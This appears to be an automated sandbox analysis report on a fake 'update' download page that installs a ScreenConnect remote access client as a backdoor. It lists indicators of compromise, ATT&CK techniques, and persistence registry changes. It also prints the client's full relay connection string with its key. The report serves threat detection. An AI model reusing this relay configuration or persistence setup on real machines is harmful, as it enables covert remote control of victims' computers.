hxxps://onixone[.]com[.]co/UPDATE/download[.]html

Analysis

geolocation tags

nanew-jerseynorth-americaunited-statesususa
user interaction
yes
max time kernel
77s
max time network
75s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/10/2026, 04:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://onixone.com.co/UPDATE/download.html
Sample261002-epcq6stdkd

Score

8^/10

backdoor defense_evasion discovery persistence privilege_escalation ransomware rat

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	5116	chrome.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (8f2c1388bb0e2126)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (8f2c1388bb0e2126)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-v5alqt-relay.screenconnect.com&p=443&s=cc2cc2c1-9dab-43b4-a44e-7b98c0771b3f&k=BgIAAACkAABSU0ExAAgAAAEAAQA1Evk6VOzuwicjxa7G2rKNhdjJec%2bY4EthW4f64A2L4AYUyJ4ZF7gdGQMvqx6t0s2%2fWaJFh01C881DD%2fShkckWbb2VIkR1Xi4eQf9cqW1ZsdknO1MHbngmGQ%2fgbmClwTExRo6AVGN1d5xUKDBZitimulJqVpncnw3Ycy%2f%2fZywms%2fnauK9NDd2Qr2YZ1E5%2bKxsx4hrdIk67XMsCFY7uiZ9wfOn5ABTHTDECcWfdque8E5pdyYnLpnzcoMbPglAt9Cvh6ohoCQcfyVmzAPsn9isUM3l7Gwx6yy4pBOk4ct79UrWADARji8ERwrzNGfN61dr9hks1%2bJZBsNpB4vAWMyHI&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAADsXAWDxL5kypgFCN31BCUwAAAAACAAAAAAAQZgAAAAEAACAAAADcwrOb%2fI%2frKsWYufzM0L1LemO2UaBadyk8Yd1NFF5UFQAAAAAOgAAAAAIAACAAAAAWfMLvVTajq7hJEkQzZ%2fX9K5YlTdjgKxJkSzI%2bo18AZ6AEAACODbm2K%2f1FNqFq5TtqNO%2bSjhir5%2f3u8V0%2b4TpmPnE0txh00drVyxGaeodpfz%2fZ0u4lPmRr25B4POgRrzX9UuLqyDzjvMMFfVQh3K%2bY9Mshn6%2f0eoOldzbev5%2bV%2bWaN7mqdXRrb6dUb6DSWXSfxeA7n5zNx6FSJfY1yQYo8Slpcd7s32DT2oN9A%2ffcXpmc%2fAO7X%2fGUEq7H249lHs1XWXF7Z4yir6bTG6y5bRX%2fo5QOQjQR1wU0s8D2bz6FSVG%2fFb5cMsNFAQHpznIIfO3Zi24uqoOqSPgoebCiEvyBWNNhyoUnKUn673R9J4duXtuOrJw738e80T1zpoKqWc4nMNNzZ7ui9KI3r%2f7PhbsDDLecoFYSCO6oqU0ecN3tkAsKC3xFq64PfCBZ37nCHnbX%2fZohU6VTW3tfasyeMd8%2bqrLtpHmmh2nPYKAa8w609f%2fOo5HsoOq53A4UyAa88gdyEYGCHWnwzLfJ4AWajXU8WeVqPdZm2nFiPTQ7gsr38ePVJR7aWf1p%2brS6h68UGxcPUjY2YMg1dnHfQ%2ftm0EhdqzTUSaHDyTVKgPOwuIEpc0bq2IFcjjOONlnnb5bfIzRwe3s1Zln3mmDtCHd%2fBuHpJskRYq9wkgeIFuRTRyTmeGsO6o0%2beSpePgDryxPCb%2f6eXWP4%2fB5y1MMU4p%2bJc2hZEWIfe5BY8XzpkoeJAzLCpQSOym8Vv6cvqAYCNnQbrI836BEC0Eu0qyDKAO7GZhzqDFml4zVlNhvRdzrqoesQ%2f1dFKY2pyCl34bUIgFXvoku3Tgf%2b4h53wEZs%2fJlC7uKiuJQKfbQqLnSg6q9FIEcUp37xsDXEhSchDWT5WT0u1OqMcjPJmvTj%2bEwiIdlACtgRoIvzGJ3l7fTyrpPWWL3cVYeff68nl%2bRBbaJ87xvusZtIQO%2fHHh%2fbRd8JPbtJXtQ74OuPlQE7XiPSJwhiK67wnrxdAIsEhsdrRqoqd6ksWYc1IwVuybcgWTR2ED%2f9RbbFpndpuVm6ypv9Xzu4qdaTLk7zsjb8HOerUotvJnrWX43OtKNWbmQgi5PWWwFUAXd%2bfkfiJKPSXQz6ihoWriLSp%2fEd0Vj2%2bbMfEyxuZu4k2Wx5JQdCEeIrUHOc0dki5%2bWMrOtUDX6FHmG0cIpkFpRN8L2zOFsjQlAOBoYrKfCbfK3pqQGMXZph3zj3krrVJi%2bf7LeEaq50Aw2jbzu7%2fAwiDczJGuIpgAJ%2bngqawe2%2fa3vBN2NSzEx7zih3T3LpetRLf1r%2bKKLl06jD%2f7JoeBDLm5ZxRdK3ZMXXZIa6n6JmIxRvCj%2bL3PBHInTsuHhXyC1huhtnh1Kf2Ong5f55sioufQYJ2gv3gHijhbr%2fD7r95J%2bUNnIVFsvxJjXXswduJlwGk8HIyJFeGalH3IVAjYhReEhXzmmDehOee8ckj1QiMOKQf608gfByFH%2fMcpqpLM7Ok5prKpDFF7%2fdiVv75H3EyIhvUzbEjqopG%2fC1usW2nwh2N8l%2blEGqrV0pvil2DKDtHSxzGwmy6xQSyzGHgkhSlBJE2ffe90t%2fFl1K6uHuocu3BMFq87KdtVwB6xmYnOewFkzmq1UAAAADajrhwtAruzRFci7LWBZJLJFUKn4qm36Tdd6JO8DTHJY7nYNgNrZ2%2bKUxnpjsfVtOijO%2fTeWwJ4O%2bVGLGYU5D3\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 3 IoCs

pid	Process
548	ScreenConnect.ClientSetup.exe
4824	ScreenConnect.ClientService.exe
4804	ScreenConnect.WindowsClient.exe

Loads dropped DLL 42 IoCs

pid	Process
2904	MsiExec.exe
5032	rundll32.exe
5032	rundll32.exe
5032	rundll32.exe
5032	rundll32.exe
5032	rundll32.exe
5032	rundll32.exe
5032	rundll32.exe
5032	rundll32.exe
5032	rundll32.exe
2904	MsiExec.exe
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
2044	rundll32.exe
2904	MsiExec.exe
1572	rundll32.exe
1572	rundll32.exe
1572	rundll32.exe
1572	rundll32.exe
1572	rundll32.exe
1572	rundll32.exe
1572	rundll32.exe
1572	rundll32.exe
1572	rundll32.exe
436	MsiExec.exe
4584	MsiExec.exe
4824	ScreenConnect.ClientService.exe
4824	ScreenConnect.ClientService.exe
4824	ScreenConnect.ClientService.exe
4824	ScreenConnect.ClientService.exe
4824	ScreenConnect.ClientService.exe
4824	ScreenConnect.ClientService.exe
4824	ScreenConnect.ClientService.exe
4824	ScreenConnect.ClientService.exe
4824	ScreenConnect.ClientService.exe
4824	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 47 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
	\??\F:\	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800380066003200630031003300380038006200620030006500320031003200360029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 21 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\3mbe15nd.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\3mbe15nd.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\ljogs0u0.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\govgcrnj.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\kedht2vx.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\qvcaf2u5.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\hiyqgxgn.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\kedht2vx.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\kedht2vx.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\ljogs0u0.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\govgcrnj.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\qvcaf2u5.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\mt3h0k5a.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\mt3h0k5a.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\hiyqgxgn.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\hiyqgxgn.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\3mbe15nd.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\ljogs0u0.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\user.config	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\qvcaf2u5.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (8f2c1388bb0e2126)\mt3h0k5a.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (8f2c1388bb0e2126)\ScreenConnect.Core.dll	msiexec.exe

Drops file in Windows directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIA994.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAA52.tmp	msiexec.exe
File created	C:\Windows\Installer\e59a86d.msi	msiexec.exe
File created	C:\Windows\Installer\{5D36708A-ADF3-265C-CD97-FE775AF352A7}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF48EE00C3187A9DB5.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{5D36708A-ADF3-265C-CD97-FE775AF352A7}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA9B4.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{5D36708A-ADF3-265C-CD97-FE775AF352A7}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{5D36708A-ADF3-265C-CD97-FE775AF352A7}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF693676E6CFD2724D.TMP	msiexec.exe
File created	C:\Windows\Installer\e59a86b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e59a86b.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DFCE6F7BA9D09957BB.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF15361629A9FA0F70.TMP	msiexec.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\ScreenConnect.ClientSetup.exe:Zone.Identifier	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5116	chrome.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000f3dc0d618a7dd6180000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000f3dc0d610000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900f3dc0d61000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1af3dc0d61000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1df3dc0d61000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe

Modifies registry class 37 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\SourceList\Media\1 = ";"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8f2c1388bb0e2126\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-798A-6834450CCB00}\ = "ScreenConnect Client (8f2c1388bb0e2126) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\ProductIcon = "C:\\Windows\\Installer\\{5D36708A-ADF3-265C-CD97-FE775AF352A7}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-8f2c1388bb0e2126\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8f2c1388bb0e2126\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-798A-6834450CCB00}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\AD35747806D67C02F8C23188BBE01262\A80763D53FDAC562DC79EF77A53F257A	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-798A-6834450CCB00}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\A80763D53FDAC562DC79EF77A53F257A	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\Version = "436535299"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8f2c1388bb0e2126\shell	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8f2c1388bb0e2126\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-8f2c1388bb0e2126	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\PackageCode = "A80763D53FDAC562DC79EF77A53F257A"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-8f2c1388bb0e2126	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\AD35747806D67C02F8C23188BBE01262	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\26.5.3.9691\\8f2c1388bb0e2126\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-798A-6834450CCB00}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-798A-6834450CCB00}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (8f2c1388bb0e2126)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\A80763D53FDAC562DC79EF77A53F257A\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\ProductName = "ScreenConnect Client (8f2c1388bb0e2126)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\A80763D53FDAC562DC79EF77A53F257A\SourceList\Net	msiexec.exe
